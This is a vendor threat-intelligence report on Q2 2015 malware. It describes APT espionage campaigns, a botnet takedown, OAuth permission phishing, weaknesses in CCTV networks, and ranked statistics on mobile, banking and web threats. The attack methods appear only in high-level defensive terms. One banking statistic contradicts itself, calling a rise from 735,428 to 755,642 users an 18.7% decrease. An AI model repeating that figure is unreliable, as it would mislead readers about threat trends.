Malware RSS Feed

IT threat evolution Q2 2015

Malware Alerts - Thu, 07/30/2015 - 07:54

Q2 in figures
  • According to KSN data, Kaspersky Lab solutions detected and repelled a total of 379,972,834 malicious attacks from online resources located all over the world.
  • Kaspersky Lab’s web antivirus detected 26,084,253 unique malicious objects: scripts, exploits, executable files, etc.
  • 65,034,577 unique URLs were recognized as malicious by web antivirus components.
  • 51% of web attacks neutralized by Kaspersky Lab products were carried out using malicious web resources located in Russia.
  • There were 5,903,377 registered notifications about attempted malware infections aiming at stealing money via online access to bank accounts.
  • Kaspersky Lab’s file antivirus detected a total of 110,731,713 unique malicious and potentially unwanted objects.
  • Kaspersky Lab mobile security products detected
    • 1,048,129 installation packages;
    • 291,887 new malicious mobile programs;
    • 630 mobile banker Trojans.
Overview Targeted attacks and malware campaigns Monkey business

Recently we published our analysis of CozyDuke, yet another cyber-espionage APT from the ‘Duke’ family – which also includes MiniDuke, CosmicDuke and OnionDuke. CozyDuke (also known as ‘CozyBear’, ‘CozyCar’ and ‘Office Monkeys’) targets government organisations and businesses in the US, Germany, South Korea and Uzbekistan.

The attack implements a number of sophisticated techniques, including encryption, anti-detection capabilities and a well-developed set of components that are structurally similar to earlier threats within the ‘Duke’ family.

However, one of CozyDuke’s most notable features is its use of social engineering to get an initial foothold in targeted organisations. Some of the attackers’ spear-phishing emails contain a link to hacked web sites – including high-profile, legitimate sites – that host a ZIP archive. This archive contains a RAR SFX that installs the malware while showing an empty PDF as a decoy. Another approach is to send out fake flash videos as email attachments. A notable example (which also gives the malware one of its names) is ‘OfficeMonkeys LOL Video.zip’. When run, this drops a CozyDuke executable on to the computer, while playing a ‘fun’ decoy video showing monkeys working in an office. This encourages victims to pass the video around the office, increasing the number of compromised computers.

It is necessary to make staff education a core component of any business security strategy #KLReport

Tweet

The successful use of social engineering to trick staff into doing something that jeopardises corporate security – by CozyDuke and many other targeted attackers – underlines the need to make staff education a core component of any business security strategy.

Naikon: gathering geo-political intelligence

In May we published our report on the Naikon APT. Naikon is used in campaigns against sensitive targets in South-eastern Asia and around the South China Sea. The attackers seem to be Chinese-speaking and have been active for at least five years, focusing their attention on top-level government agencies and civil and military organizations in countries such as the Philippines, Malaysia, Cambodia, Indonesia, Vietnam, Myanmar, Singapore, Nepal, Thailand, Laos and China.

As with so many campaigns of this kind, the attackers use spear-phishing emails to trick unsuspecting staff into loading the malware. Emails include an attached file containing information likely to be of interest to the victim. The file seems to be a standard Word document, but it is really an executable with a double extension, or an executable that uses the RTLO (right to left override) mechanism to mask the real extension of the file. If the victim clicks on the file, it installs spyware on the computer while displaying a decoy document to avoid arousing suspicion.

The attackers use spear-phishing emails to trick staff into loading malware #KLReport

Tweet

Naikon’s main module is a remote administration tool: this module supports 48 commands to exercise control over infected computers. These include commands to take a complete inventory, download and upload data, and install add-on modules. In addition, Naikon sometimes uses keyloggers to obtain employees’ credentials.

Each target country is assigned its own operator, who is able to take advantage of local cultural features – for example, the tendency to use personal email accounts for work. They also made use of a specific proxy server within a country’s borders, to manage connections to infected computers and transfer data to the attackers’ Command-and-Control (C2) servers.

You can find our main report and follow-up report on our web site.

Spying on the spies

While researching Naikon, we uncovered the activities of the Hellsing APT group. This group focused mainly on government and diplomatic organisations in Asia – most victims are located in Malaysia and the Philippines, although we have also seen victims in India, Indonesia and the US.

In itself, Hellsing is a small and technically unremarkable cyber-espionage group (around 20 organisations have been targeted by Hellsing). What makes it interesting is that the group found itself on the receiving end of a spear-phishing attack by the Naikon APT group – and decided to strike back! The target of the email questioned the authenticity of the email with the sender. They subsequently received a response from the attacker, but didn’t open the attachment. Instead, shortly afterwards they sent an email back to the attackers that contained their own malware. It’s clear that, having detected that they were being targeted, the Hellsing group was intent on identifying the attackers and gathering intelligence on their activities.

Hellsing found itself on under a spear-phishing attack by the Naikon APT group – and struck back #KLReport

Tweet

In the past, we’ve seen APT groups accidentally treading on each other’s toes – for example, stealing address books from victims and then mass-mailing everyone on each of the lists. But an ATP-on-APT attack is unusual.

Grabit and run

Many targeted attack campaigns focus on large enterprises, government agencies and other high-profile organisations. So it’s easy to read the headlines and imagine that such organisations are the only ones on the radar of the attackers. However, one of the campaigns we reported last quarter showed clearly that it’s not only ‘big fish’ that attackers are interested in. Every business is a potential target – for its own assets, or as a way of infiltrating another organisation.

The Grabit cyber-espionage campaign is designed to steal data from small- and medium-sized organisations – mainly based in Thailand, Vietnam and India, although we have also seen victims in the US, UAE, Turkey, Russia, China, Germany and elsewhere. The targeted sectors include chemicals, nanotechnology, education, agriculture, media and construction. We estimate that the group behind the attacks has been able to steal around 10,000 files.

The malware is delivered in the form of a Word document attached to an email. The document contains a malicious macro named ‘AutoOpen’. This macro opens a socket over TCP and sends an HTTP request to a remote server that was hacked by the group to serve as a malware hub. Then the program used to carry out the spying operation is downloaded from this server. In some cases, the macro is password protected (the attackers seem to have forgotten that a DOC file is actually an archive; and when it’s opened in an editor, macro strings are shown in clear-text). The attackers control compromised computers using a commercial spying tool called HawkEye (from HawkEyeProducts). In addition, they use a number of Remote Administration Tools (RATs).

The attackers have implemented some techniques designed to make Grabit hard to analyze,, including variable code sizes, code obfuscation and encryption. On the other hand, they fail to cover their tracks in the system. The result is a ‘weak knight in heavy armor’, suggesting that the attackers didn’t write all the code themselves.

The return of Duqu

In spring 2015, during a security sweep, Kaspersky Lab detected a cyber-intrusion affecting several internal systems. The full-scale investigation that followed uncovered the development of a new malware platform from one of the most skilled, mysterious and powerful groups in the APT world – Duqu, sometimes referred to as the step-brother of Stuxnet. We named this new platform ‘Duqu 2.0′.

The malware platform was designed to survive almost exclusively in the memory of infected systems. #KLReport

Tweet

In the case of Kaspersky Lab, the attack took advantage of a zero-day vulnerability in the Windows kernel (patched by Microsoft on 9 June 2015) and possibly up to two others (now patched) that were also zero-day vulnerabilities at the time. The main goal of the attackers was to spy on Kaspersky Lab technologies, ongoing research and internal processes.

However, Kaspersky Lab was not the only target. Some Duqu 2.0 infections were linked to the P5+1 events related to negotiations with Iran about a nuclear deal. The attackers appear to have launched attacks at the venues for some of these high-level talks. In addition, the group launched a similar attack related to the 70th anniversary event of the liberation of Auschwitz-Birkenau.

One of Duqu 2.0’s most notable features was its lack of persistence, leaving almost no traces in the system. The malware made no changes to the disk or system settings: the malware platform was designed in such a way that it survives almost exclusively in the memory of infected systems. This suggests that he attackers were confident that they could maintain their presence in the system even if an individual victim’s computer was re-booted and the malware was cleared from memory.

The Duqu 2.0 technical paper and analysis of the persistence module can be found on our web site.

Malware stories Simda’s hide-and-seek malware business

In April, Kaspersky Lab was involved in the take-down of the Simda botnet, co-ordinated by the Interpol Global Complex for Innovation. The investigation was started by Microsoft and expanded to other participants, including Trend Micro, the Cyber Defense Institute, officers from the Dutch National High Tech Crime Unit (NHTCU), the FBI, the Police Grand-Ducale Section Nouvelles Technologies in Luxembourg, and the Russian Ministry of the Interior’s Cybercrime Department “K” supported by the INTERPOL National Central Bureau in Moscow.

As a result of the operation, 14 servers in the Netherlands, the US, Luxembourg, Poland and Russia were taken down. Preliminary analysis of some of the sink-holed server logs revealed 190 countries that had been affected by the botnet.

Preliminary analysis revealed 190 countries that had been affected by the Simda botnet. #KLReport

Tweet

The bots are distributed via a series of infected web sites that re-direct visitors to exploit kits. The bots download and run additional components from their own update servers and are able to modify the hosts file on the infected computer: in this way, once-infected computers can keep sending out HTTP requests to the malicious servers, indicating that they are still vulnerable to re-infection using the same exploit kits.

Although the Simda botnet is relatively large, with an estimated 770,000 infected computers, the authors went to great lengths to try and make it ‘fly under the radar’ of anti-malware systems. The malware is able to detect emulation, security tools and virtual machines; it uses a number of methods to detect research sandbox environments with a view to tricking researchers by consuming all CPU resources or notifying the botnet owner about the external IP address of the research network; and it implements server-side polymorphism.

Simda also de-activates itself after a short time. This is closely related to the purpose of this particular botnet: it’s a delivery mechanism, designed to disseminate potentially unwanted and malicious software. The distributors wanted to guarantee that only their client’s malware would be installed on infected computers.

Kaspersky Lab products currently detect hundreds of thousands of modifications of Simda, together with many different third-party malicious programs distributed using the Simda botnet. You can use our free Simda bot IP scanner to check if your IP has connected to a Simda C2 server in the past.

Phishing, but not as we know it

Early in 2014 a serious vulnerability in the OAuth and OpenID protocols was discovered by Wang Jing, a PHD student at the Nanyang Technological University in Singapore. He found what he named the ‘covert redirect’ vulnerability, which could allow an attacker to steal data following authentication (a summary of the problem, including a link to Jing’s blog, can be found on Threatpost).

Recently, we discovered a phishing campaign that takes advantage of the OAuth vulnerability. OAuth lets customers of online services give third parties limited access to their protected resources without sharing their credentials. It is commonly used by applications for social networks – for example, to obtain access to someone’s contact lists or other data.

The Kaspersky Lab customer who reported the attack received an email saying that someone had used their Windows Live ID and asking them to follow a link to the Windows Live site and follow the security requirements outlined there.

Do not allow untrusted applications to access your data #KLReport

Tweet

On the face of it, it seems like a standard phishing technique – one that would result in the victim being re-directed to a fake site. But in this case, the link led to the legitimate site. The victim’s login credentials aren’t stolen and they are logged in to the legitimate site. However, after authorization, the victim receives a request for a range of permissions from an unknown application. This can include automatic login, access to profile information, contact list and email addresses. If the victims hands over these rights, it offers the cybercriminals access to their personal information – information that they can use to distribute spam, phishing links or for other fraudulent purposes.

We would recommend the following to safeguard your personal data.

  • Do not click on links you receive by email or in messages on social networks.
  • Do not allow untrusted applications to access your data.
  • Before you agree to such requests, carefully read the description of the access rights being requested by an application
  • Read reviews and feedback on the application on the Internet.
  • Review the rights of currently installed applications and modify the settings if you need to.
Smart cities but not-so-smart security

The use of CCTV systems by governments and law enforcement agencies for surveilling public places has grown enormously in recent years. Most of us accept them as a reasonable trade-off between privacy and security. However, this rather assumes that the data gathered using this technology will be handled securely and responsibly, to ensure that the benefits aren’t outweighed by any potential dangers.

Many CCTV cameras have a wireless connection to the Internet, enabling police to monitor them remotely. However, this is not necessarily secure: it’s possible for cybercriminals to passively monitor security camera feeds, to inject code into the network – thereby replacing a camera feed with fake footage – or to take systems offline. Two security researchers (Vasilios Hioureas from Kaspersky Lab and Thomas Kinsey from Exigent Systems) recently conducted research into the potential security weaknesses in CCTV systems in one city. You can read Vasilios’s report on our web site).

Aspects of life are being made digital & security should be considered as part of the design stage #KLReport

Tweet

The researchers started by looking at the surveillance equipment in locations across the city. Unfortunately, there had been no attempt to mask the branding of the cameras, so it was easy to determine the makes and models of the cameras, examine the relevant specs and create their own scale model in the lab. The equipment being used provided effective security controls, but these controls were not being implemented. Data packets passing across the mesh network were not being encrypted, so that an attacker would be able to create their own version of the software and manipulate data travelling across it.

It’s important to note that they did not attempt to hack into the real network, but analyzed the hardware and communication protocols and built a scale model. The network topology of the surveillance camera network is unlike a standard home wireless network. On a home network, all devices connect to the Internet and one another through a router. Any device connected to that router could potentially trick the other devices into thinking it’s the router and monitor or change data by performing a Man-in-the-Middle attack.

The surveillance camera network is more complicated, because of the distances the data needs to travel. The data must travel from any given camera through a series of nodes eventually leading back to a hub (in a real world implementation, this might be a police station). The traffic follows the path of least resistance where each node has the ability to communicate with several others and selects the easiest path back to the hub.

Hioureas and Kinsey built a series of fake nodes that purported to offer a direct line of communication to a simulated police station. Since they knew all the protocols used on the network, they were able to create a Man-in-the-Middle node that seemed to offer the path of least resistance, causing the real nodes to relay their traffic through their malicious node.

One potential use for attackers would be to spoof footage sent to a police station. This could make it appear as if there was an incident in one location, thereby distracting police from a real attack occurring elsewhere in the city.

The researchers reported these issues to the authorities responsible for the city surveillance systems concerned and they are in the process of fixing the security problems. In general, it’s important that WPA encryption, protected by a strong password, is implemented in these networks; that labelling is removed from hardware, to make it harder for would-be attackers to find out how the equipment operates; and that footage is encrypted as it travels through the network.

The wider issue here is that more and more aspects of everyday life are being made digital: if security isn’t considered as part of the design stage, the potential dangers could be far-reaching – and retro-fitting security might not be straightforward. The Securing Smart Cities initiative, supported by Kaspersky Lab, is designed to help those responsible for developing smart cities to do so with cyber-security in mind.

Statistics

All the statistics used in this report were obtained using the Kaspersky Security Network (KSN), a distributed antivirus network that works with various anti-malware protection components. The data was collected from KSN users who agreed to provide it. Millions of Kaspersky Lab product users from 213 countries and territories worldwide participate in this global exchange of information about malicious activity.

Mobile threats

Mobile banker Trojans still remain among the top mobile threats. In our Q1 2015 report, we mentioned Trojan-SMS.AndroidOS.OpFake.cc, which could attack at least 29 banking and financial applications. The latest version of this Trojan can now attack 114 banking and financial applications. Its main goal is to steal the user’s online credentials. Serving the same purpose, it also attacks several popular email applications.

Trojan-Spy.AndroidOS.SmsThief.fc also deserves a mention. Cybercriminals managed to add their code into the original banking application without affecting its operation, making this Trojan more difficult to detect.

The latest version of Trojan-SMS.AndroidOS.Opfake.cc can now attack 114 banking and financial applications. #KLReport

Tweet

A new iOS Trojan, Trojan.IphoneOS.FakeTimer.a, emerged in Q2. It is interesting in that it is an iOS version of a malicious Android app which emerged several years ago. FakeTimer.a attacks even non-jailbroken devices. Its payload is rather primitive: it is a regular phishing application created to steal money from Japanese users.

In Q2, Trojans which can use root privileges to display advertisements to users or install advertising applications became especially visible. A total of six such malicious programs landed in the Q2 TOP 20 of malicious malware.

The number of new mobile threats

In Q2 2015, Kaspersky Lab mobile security products detected 291,887 new malicious mobile programs, a 2.8-fold increase on Q1 2015.

Kaspersky Lab mobile security products detected 291,887 new malicious mobile programs #KLReport

Tweet

The number of installation packages detected was 1,048,129 – this is seven times as many as in the previous quarter.

Number of malicious installation packages and new malicious mobile programs detected (Q4 2014 – Q2 2015)

Distribution of mobile malware by type

Distribution of new mobile malware by type, Q2 2015

The ranking of malware objects for mobile devices for the second quarter of 2015 was headed by RiskTool (44.6%). These are legitimate applications that are potentially dangerous for users – if used carelessly or manipulated by a cybercriminal, they could lead to financial losses.

Potentially unwanted advertising apps came second with 19%.

SMS Trojans have previously led this ranking, but in Q2 they were only in the fourth place with 8.1% – this is 12.9% lower than in Q1. The lower share taken by these malicious programs is in part accounted for by the fact that those who were previously active distributing SMS Trojans have started using ‘cleaner’ monetization techniques (as testified by the increased RiskTool shares), or prefer to use other types of malware. Thus the Trojan share increased from 9.8% in Q1 to 12.4% in Q2.

Top 20 malicious mobile programs

Please note that, starting from this quarterly report, we are publishing the ranking of malicious programs, which does not include potentially dangerous or unwanted programs such as RiskTool or adware.

  Name % of attacks * 1 DangerousObject.Multi.Generic 17.5% 2 Trojan-SMS.AndroidOS.Podec.a 9.7% 3 Trojan-SMS.AndroidOS.Opfake.a 8.0% 4 Backdoor.AndroidOS.Obad.f 7.3% 5 Trojan-Downloader.AndroidOS.Leech.a 7.2% 6 Exploit.AndroidOS.Lotoor.be 5.7% 7 Trojan-Spy.AndroidOS.Agent.el 5.5% 8 Trojan.AndroidOS.Ztorg.a 3.1% 9 Trojan.AndroidOS.Rootnik.a 3.0% 10 Trojan-Dropper.AndroidOS.Gorpo.a 2.9% 11 Trojan.AndroidOS.Fadeb.a 2.7% 12 Trojan-SMS.AndroidOS.Gudex.e 2.5% 13 Trojan-SMS.AndroidOS.Stealer.a 2.5% 14 Exploit.AndroidOS.Lotoor.a 2.1% 15 Trojan-SMS.AndroidOS.Opfake.bo 1.6% 16 Trojan.AndroidOS.Ztorg.b 1.6% 17 Trojan.AndroidOS.Mobtes.b 1.6% 18 Trojan-SMS.AndroidOS.FakeInst.fz 1.6% 19 Trojan.AndroidOS.Ztorg.pac 1.5% 20 Trojan-SMS.AndroidOS.FakeInst.hb 1.4%

* Percentage of users attacked by the malware in question, relative to all users attacked

The top position in the rankings was occupied by DangerousObject.Multi.Generic (17.5%). This is how new malicious applications are detected by the KSN cloud technologies, which help our products to significantly shorten the response time to new and unknown threats.

Trojan-SMS.AndroidOS.Podec.a (9.7%) has been among the Top Three malicious mobile programs for three quarters in a row due to its active dissemination.

Trojan-SMS.AndroidOS.Opfake.a (8.0%) has been quickly rising to the top lines of the ranking. While in Q3 2014 it was in the 11th place only,it is now in the TOP 3 of mobile malware. Obfake.bo, another representative of this malware family, is in 15th place.

It is also worth mentioning the appearance of Backdoor.AndroidOS.Obad in the TOP 20 ranking – in fact, it jumped to fourth place all at once. This is a multi-functional Trojan, capable of sending SMS to premium-rate numbers; downloading other malware programs, installing them on the infected device and/or sending them further via Bluetooth; and remotely performing commands in the console. We wrote about it two years ago, and its capabilities have remained virtually unchanged ever since.

Another interesting thing is that although this ranking does not include adware programs, six of the TOP 20 malicious mobile programs use advertisements as the main vehicle of monetization. Unlike regular advertisement modules, Trojan.AndroidOS.Rootnik.a, three programs of the Trojan.AndroidOS.Ztorg family, Trojan-Downloader.AndroidOS.Leech.a and Trojan.AndroidOS.Fadeb.a do not carry any productive payload with them. Their goal is to deliver to the user as much advertising as possible in various ways, including installation of new adware programs. These Trojans can use root privileges to conceal themselves in the system folder – this makes it very difficult to delete them.

Mobile banker Trojans

In Q2 2015, we detected 630 mobile banker Trojans. It should be noted that the number of new malware programs belonging to this category is now growing at a much slower rate.

Number of mobile banker Trojans detected by Kaspersky Lab’s solutions (Q3 2014 – Q2 2015)

Geography of mobile banking threats in Q2 2015
(number of users attacked)

The number of attacked users depends on the overall number of users within each individual country. To assess the risk of a mobile banker Trojan infection in each country, and to compare it across countries, we made a country ranking according to the percentage of users attacked by mobile banker Trojans.

Top 10 counties attacked by mobile banker Trojans (ranked by percentage of users attacked):

  Country* % of users attacked by mobile bankers** 1 Republic of Korea 2.37% 2 Russia 0.87% 3 Uzbekistan 0.36% 4 Belarus 0.30% 5 Ukraine 0.29% 6 China 0.25% 7 Kazakhstan 0.17% 8 Australia 0.14% 9 Sweden 0.13% 10 Austria 0.12%

* We eliminated countries from this ranking where the number of users of Kaspersky Lab’s mobile security product is lower than 10,000
** Percentage of unique users in each country attacked by mobile banker Trojans, relative to all users of Kaspersky Lab’s mobile security product in the country

Mobile bankers proliferate most actively in Korea. Cybercriminals are also historically active in Russia and other post-Soviet countries. It is some of these countries that occupy four out of five positions in the ranking.

An indication of how popular mobile banker Trojans are with cybercriminals in each country, may be provided by the percentage of users who were attacked at least once by mobile banker Trojans during the reported three month period, relative to all users in the same country whose mobile security product was activated at least once in the reporting period. This ranking is different from the one above:

TOP 10 countries by the percentage of users attacked by mobile bankers relative to all attacked users

  Country * % of users attacked by mobile bankers, relative to all attacked users * 1 Republic of Korea 31.72% 2 Russia 10.35% 3 Australia 6.62% 4 Austria 6.03% 5 Japan 4.73% 6 Uzbekistan 4.17% 7 Belarus 3.72% 8 Ecuador 3.50% 9 Ukraine 3.46% 10 Switzerland 3.09%

* We eliminated countries from this ranking where the number of users of Kaspersky Lab’s mobile security product is lower than 10,000
** Percentage of unique users in each country attacked by mobile banker Trojans, relative to all unique users attacked by mobile malware in the country

In Korea, almost one third of all users attacked by mobile malware were attacked by mobile bankers in particular. In Russia, every tenth attacked user came under a mobile banker attack. In other countries, this percentage is lower. Interestingly, there are four countries in this TOP 10 which are also in the TOP 5 of most secure counties with the lowest probability of mobile malware infection – these are Australia, Austria, Japan and Switzerland.

The geography of mobile threats

The geography of mobile malware infection attempts in Q2 2015
(percentage of all users attacked)

Top 10 countries attacked by mobile malware:

  Country* % of users attacked** 1 China 16.34% 2 Malaysia 12.65% 3 Nigeria 11.48% 4 Bangladesh 10.89% 5 Tanzania 9.66% 6 Algeria 9.33% 7 Uzbekistan 8.56% 8 Russia 8.51% 9 Ukraine 8.39% 10 Belarus 8.05%

* We eliminated countries from this ranking where the number of users of Kaspersky Lab’s mobile security product is lower than 10,000
** Percentage of unique users attacked in each country relative to all users of Kaspersky Lab’s mobile security product in the country

This ranking is led by China, where 16.34% of all users of Kaspersky Lab’s product were attacked at least once during the three month period. Malaysia is in second place with 12.65%. Russia (8.51%), Ukraine (8.39%) and Belarus (8.05%) close the TOP 10 ranking, below some Asian and African countries.

Korea took 11th place in this ranking with 7.46%. Let us remind the reader that mobile banker Trojans are very popular with the Korean cybercriminals: 31.72% of all users attacked by mobile malware were the victim of a mobile banking Trojan attack.

The most secure countries in this respect are:

  Country % of users attacked 1 Japan 1.06% 2 Canada 1.82% 3 Austria 1.96% 4 Australia 2.16% 5 Switzerland 2.19% Vulnerable applications used by fraudsters

The ranking of vulnerable applications below is based on information about the exploits blocked by our products. These exploits were used by cybercriminals in Internet attacks and in attempts to compromise local applications, including those installed on mobile devices.

Distribution of exploits used in attacks by type of application attacked, Q2 2015

The rating of exploits has seen little change from the first quarter. The Browsers category (60%) maintained its top position in the Q2 2015. Currently most exploit packs contain a pack of exploits for Adobe Flash Player and Internet Explorer. It is worth mentioning the growing number of exploits for Adobe Flash Player (up by six percentage points) which is caused by the large number of spam mass mailings containing malicious PDF documents.

The number of exploits for Java continues to decrease (down four percentage points): in Q2 we did not see any new exploits for Java.

In the second quarter of 2015 we registered the use of four new vulnerabilities in Adobe Flash Player:

  • CVE-2015-3113
  • CVE-2015-3104
  • CVE-2015-3105
  • CVE-2015-3090

Although the share of exploits for Adobe Flash Player in our rating is only 3%, there are many more of them in the “wild”. When considering these statistics, we should take into account that Kaspersky Lab technologies detect exploits at various stages. The Browsers category also includes detection of landing pages that “distribute” exploits. According to our observations, they are most often exploits for Adobe Flash Player

Online threats (Web-based attacks)

The statistics in this section were derived from web antivirus components that protect users from attempts to download malicious objects from a malicious/infected website. Malicious websites are created deliberately by malicious users; infected sites include those with user-contributed content (such as forums), as well as compromised legitimate resources.

Online threats in the banking sector

In the second quarter of 2015, Kaspersky Lab solutions blocked attempts to launch malware capable of stealing money via online banking on the computers of 755,642 users. This figure represents an 18.7% decrease compared to the previous quarter (735,428).

There were 5,903,377 registered notifications about attempted financial malware infections #KLReport

Tweet

A total of 5,903,377 notifications of malicious activity by programs designed to steal money via online access to bank accounts were registered by Kaspersky Lab security solutions in Q2 2015.

Number of computers attacked by financial malware, Q2 2015

Geography of attacks

In the second quarter of 2015, we changed the methodology used to create the rating of countries affected by the malicious activity of banking Trojans. In our previous reports, the Top 10 was made using the number of users attacked. Although this aspect is very important, it depends on the number Kaspersky Lab product users in the countries.

To evaluate and compare the degree of risk of being infected by banking Trojans which user computers are exposed to worldwide, we calculate the percentage of Kaspersky Lab product users who encountered this threat during the reporting period in the country, of all users of our products in this county.

Geography of banking malware attacks in Q2 2015 (the percentage of users attacked)

Top 10 countries by the percentage of users attacked

  Country* % of users attacked ** 1 Singapore 5.28% 2 Switzerland 4.16% 3 Brazil 4.07% 4 Australia 3.95% 5 Hong Kong 3.66% 6 Turkey 3.64% 7 New Zealand 3.28% 8 South Africa 3.13% 9 Lebanon 3.10% 10 UAE 3.04%

* We excluded those countries in which the number of Kaspersky Lab product users is relatively small (less than 10,000)
** Unique users whose computers have been targeted by web attacks as a percentage of all unique users of Kaspersky Lab products in the country

In Q2 2015, Singapore took the lead in the percentage of Kaspersky Lab users attacked by banking Trojans. Noticeably, most countries in the TOP 10 have a high level of technological and banking system development, which draws the attention of cybercriminals.

In Russia, 0.75% users encountered banking Trojans at least once during the quarter, in the US – 0.89%, in Spain – 2.02%, in the UK – 1.58%, in Italy – 1.57% , in Germany – 1.16%.

The TOP 10 banking malware families

The table below shows the Top 10 malicious programs most commonly used in Q2 of 2015 to attack online banking users, based on the number of users attacked:

  Name Number of notifications Number of users attacked 1 Trojan-Downloader.Win32.Upatre 3888061 419940 2 Trojan-Spy.Win32.Zbot 889737 177665 3 Trojan-Banker.Win32.ChePro 264534 68467 4 Backdoor.Win32.Caphaw 72128 25923 5 Trojan-Banker.Win32.Banbra 56755 24964 6 Trojan.Win32.Tinba 175729 22942 7 Trojan-Banker.AndroidOS.Marcher 60819 19782 8 Trojan-Banker.AndroidOS.Faketoken 43848 13446 9 Trojan-Banker.Win32.Banker 23225 9209 10 Trojan-Banker.Win32.Agent 28658 8713

The majority of the Top 10 malicious programs work by injecting random HTML code in the web page displayed by the browser and intercepting any payment data entered by the user in the original or inserted web forms.

The Top 3 banking malicious programs remain unchanged from the previous quarter. Trojan-Downloader.Win32.Upatre kept its leading position in the rating. Malicious programs in this family are relatively simple and no larger than 3.5 KB. They usually download a Trojan-Banker belonging to a family known as Dyre/Dyzap/Dyreza. The list of financial institutions attacked by the banker Trojan depends on the configuration file that is downloaded from the Command-and-Control center.

In Q2 2015, the new banking Trojans entered the rating – Backdoor.Win32.Caphaw, Trojan-Banker.AndroidOS.Marcher and Trojan-Banker.AndroidOS.Faketoken.

Backdoor.Win32.Caphaw was first detected in 2011. It utilizes the Man-in-the-Browser technique to steal online banking credentials of the customers.

Trojan-Banker.AndroidOS.Faketoken and Trojan-Banker.AndroidOS.Marcher attack Android-based mobile devices. Faketoken works in partnership with computer Trojans. To distribute this malware, cybercriminals use social engineering techniques. When a user visits his online banking account, the Trojan modifies the page, asking him to download an Android application which is allegedly required to securely confirm the transaction. In fact the link leads to the Faketoken application.

Once Faketoken is on the user’s smartphone, the cybercriminals gain access to the user’s banking account via the computer infected with a banking Trojan and the compromised mobile device allows them to intercept the one-time confirmation code (mTAN). The second mobile Trojan is Trojan-Banker.AndroidOS.Marcher. After infecting a device, the malware tracks the launch of just two apps – the mobile banking customer of one of the European banks and Google Play. If the user starts Google Play, Marcher displays a false window requesting credit card data which then go to the fraudsters. The same method is used by the Trojan if the user starts the banking application.

Financial threats

Financial threats are not limited to banker malware that attacks online banking customers.

Financial malware: distribution by malware type

In Q2 2015, the proportion of banking malware increased from 71% to 83% compared with the previous quarter. The second most widespread financial threat was Bitcoin miners – malicious software that uses computing resources of the victim’s computer to generate bitcoins. In the previous quarter, this category of malware was in third place. Of note is the fact that some legitimate software developers secretly integrate Bitcoin-miners in their applications.

Top 20 malicious objects detected online

In the second quarter of 2015, Kaspersky Lab’s web antivirus detected 26,084,253 unique malicious objects: scripts, exploits, executable files, etc.

Kaspersky Lab detected and repelled a total of 379,972,834 malicious attacks from online resources #KLReport

Tweet

We identified the 20 most active malicious objects involved in online attacks against users’ computers. These 20 accounted for 96.5% of all attacks on the Internet.

Top 20 malicious objects detected online

  Name* % of all attacks** 1 AdWare.JS.Agent.bg 47.66% 2 Malicious URL 32.11% 3 Trojan.Script.Generic 4.34% 4 AdWare.Script.Generic 4.12% 5 Trojan.Script.Iframer 3.99% 6 AdWare.JS.Agent.bt 0.74% 7 Exploit.Script.Blocker 0.56% 8 Trojan.Win32.Generic 0.49% 9 AdWare.AndroidOS.Xynyin.a 0.49% 10 Trojan-Downloader.Win32.Generic 0.37% 11 Trojan-Ransom.JS.Blocker.a 0.34% 12 Trojan-Clicker.JS.Agent.pq 0.23% 13 AdWare.JS.Agent.an 0.20% 14 AdWare.JS.Agent.by 0.19% 15 Trojan.Win32.Invader 0.12% 16 Trojan-Downloader.Win32.Genome.qhcr 0.11% 17 AdWare.Win32.Amonetize.ague 0.11% 18 AdWare.Win32.MultiPlug.nnnn 0.10% 19 AdWare.NSIS.Agent.cv 0.09% 20 Trojan-Downloader.Script.Generic 0.09%

* These statistics represent the detection verdicts of the web antivirus module. Information was provided by users of Kaspersky Lab products who consented to share their local statistical data.
** The percentage of all web attacks recorded on the computers of unique users.

The Top 20 is largely made up of verdicts assigned to objects used in drive-by attacks, as well as adware programs.

Aggressive distribution of advertising programs affected the rating: 10 out of 20 positions were occupied by advert-related objects. In first place is the script AdWare.JS.Agent.bg which is implemented by inserting adware in arbitrary web pages. It could even push down Malicious URL, the verdict we use for the links from the black list which are ranked second in Q2 2015.

Of interest is the appearance of the AdWare.AndroidOS.Xynyin.a verdict – it’s unusual to see a verdict for Android malware in the rankings for malware on users’ computers. The program corresponding to this verdict is an advertising module for Android which is embedded in different applications (for example, in programs “accelerating” the work of the phone). One such application was popular in March and April of this year when it was actively downloaded by users. Since Google Play does not provide such applications these applications were downloaded from the Internet mostly via the victims’ computers.

The Trojan-Ransom.JS.Blocker.a verdict is a script which tries to block the browser using a periodic page update and displays the message asking the victim to pay a “fine” to the specified e-wallet for viewing inappropriate material. The script is mostly encountered on porn sites.

Top 10 countries where online resources are seeded with malware

The following stats are based on the physical location of the online resources that were used in attacks and blocked by our antivirus components (web pages containing redirects to exploits, sites containing exploits and other malware, botnet command centers, etc.). Any unique host could be the source of one or more web attacks.

In order to determine the geographical source of web-based attacks, domain names are matched up against their actual domain IP addresses, and then the geographical location of a specific IP address (GEOIP) is established.

In Q2 2015, Kaspersky Lab solutions blocked 379,972,834 attacks launched from web resources located in various countries around the world. 89% of notifications on blocked web attacks were triggered by attacks coming from web resources located in 10 countries.

Distribution of web attack sources by country, Q2 2015

Russia (51%) maintained its leadership: this country’s share increased by 11.27%. Switzerland left the Top 10. Singapore came eighth in the ranking with 1.56% of all web attacks.

Countries where users faced the greatest risk of online infection

In order to assess the risk of online infection faced by users in different countries, we calculate the percentage of Kaspersky Lab users in each country who encounter detection verdicts on their machines during the quarter. The resulting data provide an indication of the aggressiveness of the environment in which computers work in different countries.

  Country* % unique users attacked** 1 Russia 38.98% 2 Kazakhstan 37.70% 3 Ukraine 35.75% 4 Syria 34.36% 5 Belarus 33.02% 6 Azerbaijan 32.16% 7 Thailand 31.56% 8 Georgia 31.44% 9 Moldova 31.09% 10 Vietnam 30.83% 11 Armenia 30.19% 12 Kyrgyzstan 29.32% 13 Croatia 29.16% 14 Algeria 28.85% 15 Qatar 28.47% 16 China 27.70% 17 Mongolia 27.27% 18 Makedonia 26.67% 19 Bosnia and Herzegovina 25.86% 20 Greece 25.78%

These statistics are based on the detection verdicts returned by the web antivirus module, received from users of Kaspersky Lab products who have consented to provide their statistical data.

* These calculations exclude countries where the number of Kaspersky Lab users is relatively small (fewer than 10,000 users).
** Unique users whose computers have been targeted by web attacks as a percentage of all unique users of Kaspersky Lab products in the country.

